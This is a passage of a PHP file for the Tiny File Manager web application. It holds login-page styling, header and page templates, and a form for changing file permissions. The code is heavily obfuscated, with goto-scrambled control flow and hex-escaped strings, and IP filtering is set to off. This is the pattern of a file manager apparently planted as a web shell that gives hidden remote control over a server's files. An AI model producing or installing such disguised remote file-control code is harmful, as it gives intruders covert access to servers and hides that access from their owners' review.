112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E")}.fm-login-page .brand{width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}.fm-login-page .brand img{width:100%}.fm-login-page .card-wrapper{width:360px;margin-top:10%;margin-left:auto;margin-right:auto}.fm-login-page .card{border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}.fm-login-page .card-title{margin-bottom:1.5rem;font-size:24px;font-weight:400}.fm-login-page .form-control{border-width:2.3px}.fm-login-page .form-group label{width:100%}.fm-login-page .btn.btn-block{padding:12px 10px}.fm-login-page .footer{margin:40px 0;color:#888;text-align:center}@media screen and (max-width:425px){.fm-login-page .card-wrapper{width:90%;margin:0 auto;margin-top:10%}}@media screen and (max-width:320px){.fm-login-page .card.fat{padding:0}.fm-login-page .card.fat .card-body{padding:15px}}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}body.fm-login-page.theme-dark{background-color:#2f2a2a}.theme-dark svg g,.theme-dark svg path{fill:#fff}</style></head><body class="fm-login-page<?php  echo FM_THEME == "\x64\x61\x72\x6b" ? "\x74\x68\145\155\x65\x2d\144\141\162\x6b" : ''; ?>
"><div class="container-fluid"id="wrapper"><?php  } goto XZROZ; ldfy2: $current_path = array_slice(explode("\x2f", $path), -1)[0]; goto y43Tz; GlLuv: $ip_silent = true; goto PhjhF; JGBOL: $directories_users = array(); goto M7pLg; iCsXS: $ip_ruleset = "\x4f\106\x46"; goto GlLuv; w_BNz: function fm_show_header() { $sprites_ver = "\x32\x30\x31\66\x30\x33\61\65"; header("\103\x6f\x6e\164\x65\x6e\x74\x2d\x54\x79\160\x65\72\40\x74\x65\170\164\x2f\x68\x74\x6d\x6c\x3b\40\143\x68\x61\x72\163\145\164\75\165\164\x66\x2d\70"); header("\x45\170\x70\151\162\145\x73\72\x20\123\x61\164\54\40\x32\x36\40\x4a\165\x6c\40\61\x39\71\67\40\60\65\72\60\x30\x3a\60\60\x20\x47\115\x54"); header("\x43\x61\143\150\x65\x2d\103\x6f\x6e\x74\162\157\154\72\x20\156\x6f\x2d\163\164\157\162\145\54\40\x6e\157\55\143\x61\x63\150\145\x2c\40\155\x75\x73\164\55\162\x65\x76\141\154\151\x64\141\x74\x65\x2c\40\x70\157\163\164\x2d\143\x68\145\143\x6b\x3d\x30\x2c\x20\x70\162\145\x2d\x63\x68\x65\x63\x6b\x3d\x30"); header("\x50\162\141\x67\155\141\72\x20\156\157\x2d\x63\141\143\150\x65"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? "\x6e\x61\166\x62\x61\x72\55\146\151\170\x65\x64" : "\x6e\x61\x76\x62\x61\162\x2d\156\x6f\x72\x6d\141\154"; ?>
<!doctypehtml><html><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($favicon_path) { echo "\74\x6c\151\156\153\40\162\x65\x6c\x3d\x22\151\143\157\x6e\x22\x20\x68\162\145\x66\75\42" . fm_enc($favicon_path) . "\x22\x20\164\171\160\x65\x3d\42\151\x6d\141\147\145\x2f\160\156\x67\x22\76"; } ?>
<title><?php  echo fm_enc(APP_TITLE); ?>
</title><link href="https://cdn.jsdelivr.net"rel="preconnect"crossorigin><link href="https://cdn.jsdelivr.net"rel="dns-prefetch"><link href="https://cdnjs.cloudflare.com"rel="preconnect"crossorigin><link href="https://cdnjs.cloudflare.com"rel="dns-prefetch"><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css"rel="stylesheet"crossorigin="anonymous"integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"crossorigin="anonymous"><?php  if (FM_USE_HIGHLIGHTJS && isset($_GET["\x76\151\x65\x77"])) { ?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/<?php  echo FM_HIGHLIGHTJS_STYLE; ?>
.min.css"rel="stylesheet"><?php  } ?>
<script type="text/javascript">window.csrf="<?php  echo $_SESSION["\x74\157\x6b\x65\x6e"]; ?>
"</script><style>body{font-size:15px;color:#222;background:#f7f7f7}body.navbar-fixed{margin-top:55px}a,a:focus,a:hover,a:visited{text-decoration:none!important}.filename,td,th{white-space:nowrap}.navbar-brand{font-weight:700}.nav-item.avatar a{cursor:pointer;text-transform:capitalize}.nav-item.avatar a>i{font-size:15px}.nav-item.avatar .dropdown-menu a{font-size:13px}#search-addon{font-size:12px;border-right-width:0}.brl-0{background:0 0;border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.brr-0{border-top-right-radius:0;border-bottom-right-radius:0}.bread-crumb{color:#ccc;font-style:normal}#main-table .filename a{color:#222}.table td,.table th{vertical-align:middle!important}.table .custom-checkbox-header .custom-control.custom-checkbox,.table .custom-checkbox-td .custom-control.custom-checkbox{min-width:18px;display:flex;align-items:center;justify-content:center}.table-sm td,.table-sm th{padding:.4rem}.table-bordered td,.table-bordered th{border:1px solid #f1f1f1}.hidden{display:none}pre.with-hljs{padding:0}pre.with-hljs code{margin:0;border:0;overflow:visible}code.maxheight,pre.maxheight{max-height:512px}.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.3em;vertical-align:bottom}.path{margin-bottom:10px}form.dropzone{min-height:200px;border:2px dashed #007bff;line-height:6rem}.right{text-align:right}.center,.close,.login-form,.preview-img-container{text-align:center}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}.preview-img{max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px}.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}.filename{max-width:420px;overflow:hidden;text-overflow:ellipsis}.break-word{word-wrap:break-word;margin-left:30px}.break-word.float-left a{color:#7d7d7d}.break-word+.float-right{padding-right:30px;position:relative}.break-word+.float-right>a{color:#7d7d7d;font-size:1.2em;margin-right:4px}#editor{position:absolute;right:15px;top:100px;bottom:15px;left:15px}@media (max-width:481px){#editor{top:150px}}#normal-editor{border-radius:3px;border-width:2px;padding:10px;outline:0}.btn-2{padding:4px 10px;font-size:small}li.file:before,li.folder:before{font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px}li.folder:before{content:"\f114"}i.fa.fa-folder-o{color:#0157b3}i.fa.fa-picture-o{color:#26b99a}i.fa.fa-file-archive-o{color:#da7d7d}.btn-2 i.fa.fa-file-archive-o{color:inherit}i.fa.fa-css3{color:#f36fa0}i.fa.fa-file-code-o{color:#007bff}i.fa.fa-code{color:#cc4b4c}i.fa.fa-file-text-o{color:#0096e6}i.fa.fa-html5{color:#d75e72}i.fa.fa-file-excel-o{color:#09c55d}i.fa.fa-file-powerpoint-o{color:#f6712e}i.go-back{font-size:1.2em;color:#007bff}.main-nav{padding:.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12),0 2px 4px -1px rgba(0,0,0,.2)}.dataTables_filter{display:none}table.dataTable thead .sorting{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC)}table.dataTable thead .sorting_asc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==)}table.dataTable thead .sorting_desc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=)}table.dataTable thead tr:first-child th.custom-checkbox-header:first-child{background-image:none}.footer-action li{margin-bottom:10px}.app-v-title{font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase}hr.custom-hr{border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff}#snackbar{visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px}#snackbar.show{visibility:visible;-webkit-animation:fadein .5s,fadeout .5s 2.5s;animation:fadein .5s,fadeout .5s 2.5s}@-webkit-keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@-webkit-keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}@keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}#main-table span.badge{border-bottom:2px solid #f8f9fa}#main-table span.badge:nth-child(1){border-color:#df4227}#main-table span.badge:nth-child(2){border-color:#f8b600}#main-table span.badge:nth-child(3){border-color:#00bd60}#main-table span.badge:nth-child(4){border-color:#4581ff}#main-table span.badge:nth-child(5){border-color:#ac68fc}#main-table span.badge:nth-child(6){border-color:#45c3d2}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2){.navbar-collapse .col-xs-6{padding:0}}.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus{outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.lds-facebook{display:none;position:relative;width:64px;height:64px}.lds-facebook div,.lds-facebook.show-me{display:inline-block}.lds-facebook div{position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite}.lds-facebook div:nth-child(1){left:6px;animation-delay:-.24s}.lds-facebook div:nth-child(2){left:26px;animation-delay:-.12s}.lds-facebook div:nth-child(3){left:45px;animation-delay:0s}@keyframes lds-facebook{0%{top:6px;height:51px}100%,50%{top:19px;height:26px}}ul#search-wrapper{padding-left:0;border:1px solid #ecececcc}ul#search-wrapper li{list-style:none;padding:5px;border-bottom:1px solid #ecececcc}ul#search-wrapper li:nth-child(odd){background:#f9f9f9cc}.c-preview-img{max-width:300px}.border-radius-0{border-radius:0}.float-right{float:right}.table-hover>tbody>tr:hover>td:first-child{border-left:1px solid #1b77fd}#main-table tr.even{background-color:#f8f9fa}.filename>a>i{margin-right:3px}</style><?php  if (FM_THEME == "\x64\141\162\153") { ?>
<style>:root{--bs-bg-opacity:1;background-color:rgba(var(28,36,41),var(--bs-bg-opacity))!important}body.theme-dark{background-image:linear-gradient(90deg,#1c2429,#263238);color:#cfd8dc}.list-group .list-group-item{background:#343a40}.break-word,.navbar-nav .dropdown-toggle,.theme-dark .navbar-nav i{color:#cfd8dc}#main-table .filename a,a,a:active,a:hover,a:visited,i.fa.fa-folder-o,i.go-back{color:#85fd94}ul#search-wrapper li:nth-child(odd){background:#f9f9f9cc}.theme-dark .btn-outline-primary{color:#85fd94;border-color:#85fd94}.theme-dark .btn-outline-primary:active,.theme-dark .btn-outline-primary:hover{background-color:#028211}.theme-dark input.form-control{background-color:#101518;color:#cfd8dc}.theme-dark .dropzone{background:0 0}.theme-dark .inline-actions>a>i{background:#607d8b}.theme-dark .text-white{color:#cfd8dc!important}.table-bordered th,.theme-dark .table-bordered td{border-color:#343434}.theme-dark .table-bordered td .custom-control-input,.theme-dark .table-bordered th .custom-control-input{opacity:.678}.message{background-color:#212529}</style><?php  } ?>
</head><body class="<?php  echo FM_THEME == "\144\x61\162\153" ? "\164\x68\x65\155\x65\x2d\144\x61\x72\153" : ''; echo $isStickyNavBar; ?>
"><div class="container-fluid"id="wrapper"><div class="modal fade"id="createNewItem"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"aria-hidden="true"aria-labelledby="newItemModalLabel"><div class="modal-dialog"role="document"><form method="post"class="modal-content<?php  echo fm_get_theme(); ?>
"><div class="modal-header"><h5 class="modal-title"id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php  echo lng("\x43\162\145\141\164\145\116\x65\x77\111\164\x65\x6d"); ?>
</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><p><label for="newfile"><?php  echo lng("\x49\x74\145\155\124\x79\160\x65"); ?>
</label></p><div class="form-check form-check-inline"><input name="newfile"name="newfile"type="radio"value="file"id="customRadioInline1"class="form-check-input"> <label for="customRadioInline1"class="form-check-label"><?php  echo lng("\x46\151\x6c\x65"); ?>
</label></div><div class="form-check form-check-inline"><input name="newfile"type="radio"value="folder"id="customRadioInline2"class="form-check-input"checked> <label for="customRadioInline2"class="form-check-label"><?php  echo lng("\106\157\x6c\x64\145\162"); ?>
</label></div><p class="mt-3"><label for="newfilename"><?php  echo lng("\111\x74\145\155\116\141\x6d\145"); ?>
</label></p><input name="newfilename"value=""id="newfilename"class="form-control"placeholder="Enter here..."required></div><div class="modal-footer"><input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\145\156"]; ?>
"> <button class="btn btn-outline-primary"type="button"data-bs-dismiss="modal"><i class="fa fa-times-circle"></i><?php  echo lng("\103\x61\x6e\x63\x65\x6c"); ?>
</button> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\103\162\145\x61\164\145\116\x6f\167"); ?>
</button></div></form></div></div><div class="modal fade"id="searchModal"role="dialog"tabindex="-1"aria-hidden="true"aria-labelledby="searchModalLabel"><div class="modal-dialog modal-lg"role="document"><div class="modal-content<?php  echo fm_get_theme(); ?>
"><div class="modal-header"><h5 class="modal-title col-10"id="searchModalLabel"><div class="mb-3 input-group"><input id="advanced-search"class="form-control"required placeholder="<?php  echo lng("\x53\x65\x61\162\x63\150"); ?>
a files"aria-label="<?php  echo lng("\123\x65\141\162\143\x68"); ?>
"aria-describedby="search-addon3"autofocus> <span class="input-group-text"id="search-addon3"><i class="fa fa-search"></i></span></div></h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><form method="post"action=""><div class="lds-facebook"><div></div><div></div><div></div></div><ul id="search-wrapper"><p class="m-2"><?php  echo lng("\123\145\141\162\x63\150\x20\x66\x69\154\145\40\x69\x6e\40\146\157\154\x64\x65\x72\40\141\x6e\x64\x20\163\x75\x62\146\157\x6c\144\x65\162\163\56\56\x2e"); ?>
</p></ul></form></div></div></div></div><div class="modal modal-alert"id="renameDailog"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?>
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-3">Are you sure want to rename?</h5><p class="mb-1"><input name="rename_to"id="js-rename-to"class="form-control"required placeholder="Enter new file name"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\157\153\x65\156"]; ?>
"> <input name="rename_from"type="hidden"id="js-rename-from"></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"><strong>Okay</strong></button></div></form></div></div><script type="text/html"id="js-tpl-confirm"><div class="modal modal-alert"id="confirmDailog-<%this.id%>"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"action="<%this.action%>"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?>
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-2">Are you sure want to<%this.title%>?</h5><p class="mb-1"><%this.content%></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal">Cancel</button> <input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\157\153\x65\x6e"]; ?>
"> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"data-bs-dismiss="modal"><strong>Okay</strong></button></div></form></div></div></script><?php  } goto no7Jg; WFy7n: function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != "\56" && $file != "\x2e\x2e") { if (!fm_rchmod($path . "\57" . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } goto aBnDk; yvo6f: $allowed_upload_extensions = ''; goto LIoEX; HVH9r: function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map("\146\x6d\137\157\x62\x6a\x65\x63\164\x5f\164\x6f\137\x61\x72\162\141\x79", $obj); } goto lAbCw; OnmBQ: function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode("\x2f", $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode("\x2f", $array); } return ''; } return false; } goto Ffatt; GNaFM: if (isset($_GET["\x63\150\155\x6f\144"]) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET["\x63\x68\155\157\144"]; $file = fm_clean_path($file); $file = str_replace("\57", '', $file); if ($file == '' || !is_file($path . "\57" . $file) && !is_dir($path . "\x2f" . $file)) { fm_set_msg(lng("\x46\x69\154\x65\40\156\157\164\x20\x66\x6f\x75\x6e\x64"), "\x65\162\x72\157\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\x3d" . urlencode($FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . (FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\57" . $file; $file_path = $path . "\57" . $file; $mode = fileperms($path . "\57" . $file); ?>
<div class="path"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header"><?php  echo lng("\x43\x68\x61\x6e\147\145\120\145\x72\155\151\x73\x73\x69\157\156\x73"); ?>
</h6><div class="card-body"><p class="card-text">Full path:<?php  echo $file_path; ?>
<br></p><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="chmod"type="hidden"value="<?php  echo fm_enc($file); ?>
"><table class="table compact-table<?php  echo fm_get_theme(); ?>
"><tr><td></td><td><b><?php  echo lng("\x4f\x77\156\145\x72"); ?>
</b></td><td><b><?php  echo lng("\x47\x72\157\165\x70"); ?>
</b></td><td><b><?php  echo lng("\117\164\150\x65\162"); ?>
</b></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\x52\145\141\144"); ?>
</b></td><td><label><input name="ur"type="checkbox"value="1"<?php  echo $mode & 256 ? "\40\x63\x68\145\x63\153\145\144" : ''; ?>
></label></td><td><label><input name="gr"type="checkbox"value="1"<?php  echo $mode & 32 ? "\40\x63\x68\145\x63\153\145\x64" : ''; ?>
></label></td><td><label><input name="or"type="checkbox"value="1"<?php  echo $mode & 4 ? "\40\143\150\145\x63\153\x65\x64" : ''; ?>
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\127\x72\151\164\145"); ?>
</b></td><td><label><input name="uw"type="checkbox"value="1"<?php  echo $mode & 128 ? "\x20\x63\150\x65\143\x6b\x65\144" : ''; ?>
></label></td><td><label><input name="gw"type="checkbox"value="1"<?php  echo $mode & 16 ? "\x20\x63\150\x65\x63\x6b\x65\144" : ''; ?>
></label></td><td><label><input name="ow"type="checkbox"value="1"<?php  echo $mode & 2 ? "\x20\143\x68\x65\143\x6b\x65\x64" : ''; ?>
></label></td></tr><tr><td style="text-align:right"><b><?php  echo lng("\x45\x78\x65\x63\165\x74\x65"); ?>
</b></td><td><label><input name="ux"type="checkbox"value="1"<?php  echo $mode & 64 ? "\x20\143\x68\x65\x63\x6b\145\144" : ''; ?>
></label></td><td><label><input name="gx"type="checkbox"value="1"<?php  echo $mode & 8 ? "\40\143\150\145\143\x6b\145\x64" : ''; ?>
></label></td><td><label><input name="ox"type="checkbox"value="1"<?php  echo $mode & 1 ? "\40\x63\x68\x65\143\153\145\x64" : ''; ?>
></label></td></tr></table><p><input name="token"type="hidden"value="<?php  echo $_SESSION["\164\x6f\x6b\145\x6e"]; ?>
"> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="btn btn-outline-primary"><i class="fa fa-times-circle"></i><?php  echo lng("\103\141\x6e\x63\145\154"); ?>
</a></b><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\103\150\141\156\147\x65"); ?>
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto lHkjo; yuV7e: defined("\106\115\x5f\122\117\x4f\124\137\x55\122\114") || define("\x46\115\x5f\122\x4f\x4f\124\137\x55\122\114", ($is_https ? "\150\x74\164\x70\x73" : "\x68\x74\164\160") . "\x3a\57\x2f" . $http_host . (!empty($root_url) ? "\x2f" . $root_url : '')); goto DV2Ou; eO_tJ: function fm_is_utf8($string) { return preg_match("\57\57\x75", $string); } goto dwX3v; WlIu4: echo lng("\116\x61\x6d\145"); goto serJP; fX8Pm: defined("\x46\115\137\114\101\x4e\107") || define("\x46\x4d\137\114\101\x4e\107", $lang); goto Q2d9H; MHJPg: if (empty($folders) && empty($files)) { ?>
<tfoot><tr><?php  if (!FM_READONLY) { ?>
<td></td><?php  } ?>
<td colspan="<?php  echo !FM_IS_WIN && !$hide_Cols ? "\66" : "\x34"; ?>
